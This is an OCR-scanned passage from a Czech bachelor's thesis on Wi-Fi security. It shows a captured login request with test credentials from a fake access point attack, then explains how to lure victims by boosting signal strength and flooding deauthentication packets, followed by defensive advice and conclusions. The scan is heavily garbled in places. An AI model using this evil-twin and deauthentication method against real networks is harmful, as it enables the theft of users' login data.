9 Q2aU11BOv10Qj I6Gm-ng2k6PWgEgHT rxQ8xuH8hkiyn6j xVNLHrLAKg3poMQ& ut f8=%E2%
98%83&bgresponse=%211pVCgYcbgxGNQ7JEbgQTDsWmMyACAAABIFIAAAAtCgABGHXwIdNCh
by fg3S7rlsLIWejjTUXaaC8ml6VdPKLMGVYNAGABMESAd -zyZ03enim7Zb50dNR37MKPvZKAGX
9Xh700KMgJgSj JR_6STSXQmMvJIR8CKs -DTNZK70G9-PjFtWinjyFAGg _EDQhPOdZ715m_X7_Q
1wWdlr-k1-BkAwc20WFtBHrIlc fDAG oX-avsNN4hQdSWJ -Kpj fmMc -CIWhWqYBF_h6YKcgE77
SCUKHAcknycmIWI8zm8yRoE1yABZi4EImGL 1MNoGzGLQXNsMUs4A8dZyK9ayitYs30fIcHcSm
qoUWX7IKgwrEY sv3uA6SF1p0s08VGT220j UdW-CtNRBZ fBZ6EUqdgv54tKxJq75¢c6COPCkzs
-C_6T DCqgr6gbPUyWs&Email=testovacimail&Passwd=TestovaciHeslo0123&signIn=P%
C5%991h1%C3%Alsit+se&PersistentCookie=yes

Obr. 9 Odchycené prihlasovaci idaje z google.com, [Zdroj: autor prace]

8.5 Varianty utoku

Tento typ atoku ma nékolik moznych provedeni a variant. U nékteré mozné varianty
miiZe byt potireba uzivatele piresvédcit, Ze se ma prihlasit k faleSnému bezdratovému
pristupovému bodu a ne k origindlnimu bezdratovému bodu. Toto v testovacim
utoku nemuselo byt feSeno, protoZe jednoduse faleSny bezdratovy pristupovy bod
byl bliZe k uZivatelim a tak poskytoval silnéjsi signal neZ originalni bezdratovy
pristupovy bod s ptivodni bezdratovou siti Wi-Fi. Pokud je ale potreba takzvané
uzivatele ukrast jsou dvé moZnosti jak to provést, respektive nejvhodnéjsi je tyto
dvé metody zkombinovat.

Prvni moZnosti je softwarové navysit vysilany vykon. ZaleZi na dané sitové kartée,
jak moc lIze vysilaci vykon navysit. Také lze u vétSiny bezdratovych adaptert
vyménit anténu. Tim ale Gto¢nik prijde o nenapadnost, pokud by pouZzil moc velkou
a silnou anténu. Ale miiZu nastat situace, kdy to Ize provést i takto. I zde je vhodné
zminit, Ze kazdy stat ma riizné omezeni, kde v kazdém staté je povoleny urcity
vysilaci vykon, proto je na to vhodné myslet i béhem pouhého testovani.

Druhda moZnost je vysilat Deauthentication pakety, diky kterym lze prerusSit
navazané puvodni spojeni mezi bezdratovym pristupovym bodem a uZzivatelem.

Tim tedy donutime uzivatele se znovu pripojit k jiné bezdratové siti. Neustalym
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vysilanim téchto pakett zajistime, Ze se dany uZivatel k plivodnimu bezdratovému
pristupovému bodu nepftipoji.

Praveé spojenim téchto dvou metod zajistime, Ze po donuceném preruseni uZivatele
k origindlnimu bezdratovému pristupovému bodu, se pokusi znovu prihlasit

k silnéjSimu signalu, tedy faleSnému bezdratovému pristupovému bodu.

8.6 Jak se branit proti utoku pomoci Fake AP

Je vhodné dodrzovat urcité zasady a byt obecné opatrny. Nejlepsi zpiisob je si vzdy
bezdratovou sit Wi-Fi ovérit u poskytovatele dané sité. Napriklad v kavarné pozadat
obsluhu o nazev jejich bezdratové sité Wi-Fi. Tim silze ovérit, Ze se zde viibec
bezdratova sit vyskytuje a uto¢nik tak pouze neceka na mozné obéti.

Je doporucené nezasSkrtavat automatické pripojovani u otevienych bezdratovych
siti. Zarizeni by se mohlo pripojit i na neznamém misté a uZivatel si toho nemusi
hned vSimnout.

Uzivatel by mél byt opatrny, pokud na oteviené bezdratové siti doslo k vypadku
nebo odpojeni. Zvlasté v piipadé, Ze se tak stalo u vSech uzivateld v dané bezdratové
siti. Mohlo by se jednat o pokus pro prepojeni na faleSny bezdratovy pristupovy bod.
Také je vhodné kontrolovat certifika¢ni autoritu u webovych stranek, kde se pracuje
s citlivymi udaji.

Videdlnim pripadé se nepripojovat k nezabezpecenym bezdratovym sitim Wi-Fj,
pokud to neni nutné, respektive nevyuzivat nezabezpelenou bezdratovou sit

k Cinnostem, které vyzaduji ovéreni citlivych prihlasovacich dat. [42]

8.7 Shrnuti vysledku

Jedna se o popis skutecné moznosti utoku, které je tfeba predchazet. A také z tohoto
diivodu je zde tento utok popsan a podan pro odhaleni moznych rizik. Béhem utoku
pomoci faleSného bezdratového pristupového bodu v testovacim prostiedi bylo
prokazano, Ze tento Utok je velmi silny nastroj pro ziskanti citlivych dat.

[ kdyZ se vSude rozmaha zabezpecovani a Sifrovani obecné, stdle lze narazit
na veiejnd mista ¢i podniky s nezabezpecenou bezdratovou siti. A presné takova

mista jsou idealni pro potencionalni utoc¢niky.
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Bylo také potvrzeno, Ze tento Utok Ize provést s minimalnimi pozadavky na vybaveni
a Cas, protoZe pri spravné pripravené konfiguraci lze utok spustit béhem nékolika

malo minut.
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9 Zavéry a doporuceni

V teoretické c¢asti bakalarské prace je popsana oblast bezdratovych siti, ktera
v dnes$ni dobé, vzhledem k velkému rozsireni zarizeni podporujicich bezdratovou
komunikaci, zazZiva velky rozmach. Bezdratové technologie jsou kaZdodenné
vyuzivany modernimi zarizenimi, jako napriklad chytry telefon, tablet, notebook
nebo i chytré hodinky. Zaroven roste popularita bezdratovych siti ve firemnim
i domacim prostredi. Proto jsou zde také v uvedenych kapitolach popsany jednotlivé
standardy 802.11, vysvétleny metody zabezpeceni a typy uUtokii na tyto bezdratové
sité.

V praktické Casti je poté provedena ukazka utoku pomoci faleSného pristupového
bodu. Cilem této redlné ukazky je nazorné ukazat jak je utok veden a jak utoku
predchazet. Jsou zde popsany naroky na hardware a také vysvétlena konfigurace,
ktera je nasledné pouzita k ttoku. Dale jsou zde ukazany vysledky testovaciho utoku
pomoci faleSného bezdratového pristupového bodu a doporucené principy jak se
proti takovému utoku branit a jak itoku predchazet.

Je vhodné zavérem ftici, Ze obecné zabezpeleni bezdratovych siti se kaZzdoroc¢né
zlepSuje a je stdle méné a méné nezabezpelenych otevienych bezdratovych siti.
Také je dilezité zminit, Ze skoro kazda bezdratova sit' lze prolomit. Skoro vzdy se
najde néjaka nepresnost v konfiguraci nebo slabé zabezpeceni urcitého prvku dané
pocitacové sité, kterého se miize Gto¢nik chytnout. I presto vSak bezdratové sité
ziskavaji na popularité a zaZivaji boom, a to i v podnikové sfére.

Oblast zabezpeceni bezdratovych siti je velmi aktudlni téma a proto je vhodné
zkoumat pouZzivané metody zabezpeceni, Sifrovaci algoritmy nebo také nové tutoky

na bezdratové sité v domacim, ale i podnikovém prostiedi.
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